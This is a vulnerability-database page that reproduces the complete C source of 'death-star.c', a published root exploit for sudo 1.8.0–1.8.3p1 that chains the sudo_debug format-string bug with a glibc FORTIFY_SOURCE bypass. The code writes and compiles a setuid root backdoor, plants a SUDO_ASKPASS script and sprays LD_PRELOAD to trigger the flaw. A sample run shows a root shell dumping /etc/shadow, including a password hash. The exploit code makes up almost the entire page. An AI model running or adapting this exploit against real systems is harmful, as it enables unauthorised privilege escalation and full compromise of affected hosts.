Lucene search
K

sudo 1.8.0-1.8.3p1 (sudo_debug) - Root Exploit + glibc FORTIFY_SOURCE Bypass

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 491 Views

sudo root exploit glibc FORTIFY_SOURCE bypas

Related
Code

                                                /*
 death-star.c
 sudo v1.8.0-1.8.3p1 (sudo_debug) format string root exploit + glibc FORTIFY_SOURCE bypass
 by aeon - http://infosecabsurdity.wordpress.com/

 This PoC exploits:
 - CVE-2012-0864 - FORTIFY_SOURCE format string protection bypass via "nargs" integer overflow
 - CVE-2012-0809 - sudo v1.8.0-1.8.3p1 "sudo_debug" format string
 
 Tested on:
 - Fedora core 16 verne
 - glibc 2.14.90.14 release
 - sudo 1.8.1p2
 
 Notes:
 - This exploit actually turned out very reliable :-) 
 - You can make a cleaner version of this exploit if you smash sudo_debug function pointer
   or a libc function pointer so you dont write to disk. I wont be releasing that version :-)

 References and thanks too:
 - http://seclists.org/fulldisclosure/2012/Jan/att-590/advisory_sudo.txt
 - http://www.vnsecurity.net/2012/02/exploiting-sudo-format-string-vunerability/
 - http://www.alertlogic.com/modern-userland-linux-exploitation-courseware/
 - "A Eulogy for Format Strings" http://www.phrack.org/issues.html?issue=67&id=9&mode=txt

[aeon@localhost tmp]$ gcc death-star.c -o death-star
[aeon@localhost tmp]$ ./death-star 
[+] Targeting release: 3.1.0-7.fc16.i686.PAE
[+] Found vuln glibc version: 2.14.90
[+] Found a vuln sudo version: 1.8.1
[+] Writing backdoor: e.c
[+] Compiling backdoor: e
[+] Writing SUDO_ASKPASS file: e.sh
[+] Press enter when ready...

< -------------- REMOVED -------------->

                           A?AF@F@F@F@F@' from LD_PRELOAD cannot be preloaded: ignored.
 %1073825311%21372736 %: settings: 
=
 %1073825311%21372736 %: settings: 
=
 %1073825311%21372736 %: sudo_mode 1081383169
Sorry, try again.
Sorry, try again.
Sorry, try again.
%20$08n %*482$ %*2850$ %1073741824$: 3 incorrect password attempts
 %1073886251%21372736 %: policy plugin returns 1081402445
[+] Getting root..!
[+] Cleaning system.
[+] Launching root shell!
sh-4.2# id; uname -a
uid=0(root) gid=1001(aeon) groups=0(root),1001(aeon) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
Linux localhost.localdomain 3.1.0-7.fc16.i686.PAE #1 SMP Tue Nov 1 20:53:45 UTC 2011 i686 i686 i386 GNU/Linux
sh-4.2# head -n1 /etc/shadow
root:$6$YxDB.SNvtnqhtt.T$slIOJSl7Lz07PtDF23m1G0evZH4MXvpo1VNebUUasM/je2sP6FXi2Y/QE1Ntg.93jOtTQOfZ8k2e/HhT8XzXN/:15818:0:99999:7:::
sh-4.2#
*/

#include <sys/resource.h>
#include <sys/utsname.h>
#include <gnu/libc-version.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/time.h>
#include <sys/stat.h>
#include <string.h>
#include <sys/wait.h>

#define OFFSET       65000
#define NUM_THREADS  0

/* files that we create on disk */
#define BACKDOOR     "e.c"
#define BD_COMPILED  "e"
#define SUDO_ASKPASS "e.sh"

extern char **environ;
struct utsname ver;

void *kill_sudo();
void *pop_shell();
void *set_env();
int is_glibc_vuln();
int is_sudo_vuln();
int write_backdoor();

/* hardcoded path to sudo */
const char sudo[] = "/usr/bin/sudo\0";
char s_version[20];

/* vuln versions of sudo */
char vuln_sudo_versions[4][20] = {
    {"1.8.0"},
    {"1.8.1"},
    {"1.8.2"},
    {"1.8.3"}
};

/* vuln versions of glibc */
char vuln_glibc_versions[4][20] = {
    {"2.14.90"},
};

int main(int argc, char *argv[])
{
    struct rlimit rara;
    int status;
    char ready;
    uname(&ver);
    printf("[+] Targeting release: %s\n", ver.release);
    if (is_glibc_vuln()){
        if(is_sudo_vuln()){
            if (write_backdoor()){
                printf("[+] Press enter when ready...");
                scanf("%c", &ready);
            }else{ exit(0); }
        }else{ exit(0); }
    }else{ exit(0); }

    // ulimited stack
    rara.rlim_max = rara.rlim_cur = -1;
    setrlimit(RLIMIT_STACK, &rara);

    pid_t pid;
    if((pid = fork()) < 0)
    {
        printf("[-] An error occurred while forking sudo\n");
        return -1;
    }
    else if(pid == 0){
        set_env();
        kill_sudo();
    }else{
        wait(&status);
        if (WIFEXITED(status)) {
            sleep(1);
            pop_shell();
        }
    }
}

int is_glibc_vuln(){
    int i, returnval = -1;
    for (i = 0; i < 4; i++){
        if (strcmp(gnu_get_libc_version(), vuln_glibc_versions[i]) == 0){
            printf("[+] Found vuln glibc version: %s\n", gnu_get_libc_version());
            returnval = 1;
        }
    }
    return returnval;
};

int is_sudo_vuln(){
    int i, returnval = -1;;
    FILE *fp;
    char path[20];
    char sudo_ver_cmd[50];
    snprintf(sudo_ver_cmd, sizeof(sudo)+3,"%s -V", sudo);
    fp = popen(sudo_ver_cmd, "r");

    if (fp == NULL) {
        printf("[-] Failed to get sudo's version\n[-]Exiting.." );
        exit(0);
    }
    fgets(path, 21, fp);
    memmove (s_version, path+13,5);
    for (i = 0; i < 4; i++){
        if (strcmp(s_version, vuln_sudo_versions[i]) == 0){
            printf("[+] Found a vuln sudo version: %s\n", s_version);
            returnval = 1;
        }
    }
    return returnval;
};

int write_backdoor(){
    int returnval = 1;
    char askpass[100], compile_bd[100];
    char bdcode[] = "#include <stdio.h>\r\n"
                    "#include <stdlib.h>\r\n"
                    "int main(int argc, char **argv){\r\n"
                    "    printf(\"[+] Getting root..!\\n\");\r\n"
                    "    setresuid(0,0,0);\r\n"
                    "    printf(\"[+] Cleaning system.\\n\");\r\n"
                    "    remove(\"e\"); remove(\"e.c\"); remove(\"e.sh\");\r\n"
                    "    printf(\"[+] Launching root shell!\\n\");\r\n"
                    "    system(\"/bin/sh\");\r\n"
                    "    exit(0);\r\n"
                    "}\r\n";

    FILE *fp = fopen(BACKDOOR,"wb");
    if (fp == NULL) {
        printf("[-] Failed to write backdoor on the target, check your permissions\n" );
        returnval = -1;
    }else{
        printf("[+] Writing backdoor: %s\n", BACKDOOR);
    }

    fwrite(bdcode, 1, sizeof(bdcode)-1, fp); fclose(fp);
    memset(compile_bd, 0x00, sizeof(compile_bd));
    snprintf(compile_bd, sizeof(BACKDOOR)+sizeof(BD_COMPILED)+17,"/usr/bin/gcc %s -o %s", BACKDOOR, BD_COMPILED);
    printf("[+] Compiling backdoor: %s\n", BD_COMPILED);
    fp = popen(compile_bd, "r");

    if (fp == NULL) {
        printf("[-] Failed to compile the backdoor, check the gcc path\n" );
        returnval = -1;
    }

    fclose(fp);
    memset(askpass, 0x00, sizeof(askpass));
    snprintf(askpass, sizeof(BD_COMPILED)*2+39,"#!/bin/sh\nchown root:root %s\nchmod 4777 %s\n", BD_COMPILED, BD_COMPILED);
    fp = fopen(SUDO_ASKPASS,"w");

    if (fp == NULL) {
        printf("[-] Failed to write backdoor on the target, check your permissions\n" );
        returnval = -1;
    }else{
        printf("[+] Writing SUDO_ASKPASS file: %s\n", SUDO_ASKPASS);
    }

    fwrite(askpass, 1, sizeof(askpass)-1, fp); fclose(fp);
    chmod(SUDO_ASKPASS, 0755);
    return returnval;
};

void *set_env(){
    int i = 0;
    char ld_preload_evar[OFFSET] = "LD_PRELOAD=";
    char user_details[OFFSET] = {0x1f, 0x46, 0x01, 0x40};
    char sudo_askpass_evar[40];
    for (i=0; i<(OFFSET/4); i++){
        memcpy(user_details+(i*4), user_details, sizeof(int));
    }

    memmove (ld_preload_evar+11, user_details , sizeof(user_details));
    memset(sudo_askpass_evar, 0x00, sizeof(sudo_askpass_evar));
    snprintf(sudo_askpass_evar, sizeof(SUDO_ASKPASS)+13,"SUDO_ASKPASS=%s", SUDO_ASKPASS);

    // set our environment
    putenv(ld_preload_evar);
    putenv(sudo_askpass_evar);
};

void *kill_sudo(){
    char fmtstring[] = "%20$08n %*482$ %*2850$ %1073741824$";
    char *args[] = { fmtstring, "-D9", "-A", "", NULL};

    // trigger the vuln
    execve(sudo, args, environ);
};

void *pop_shell(){
    // set our environment
    unsetenv("LD_PRELOAD");
    unsetenv("SUDO_ASKPASS");
    char *exploit_args[] = { BD_COMPILED, NULL };
    execve(BD_COMPILED, exploit_args, environ);
};

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation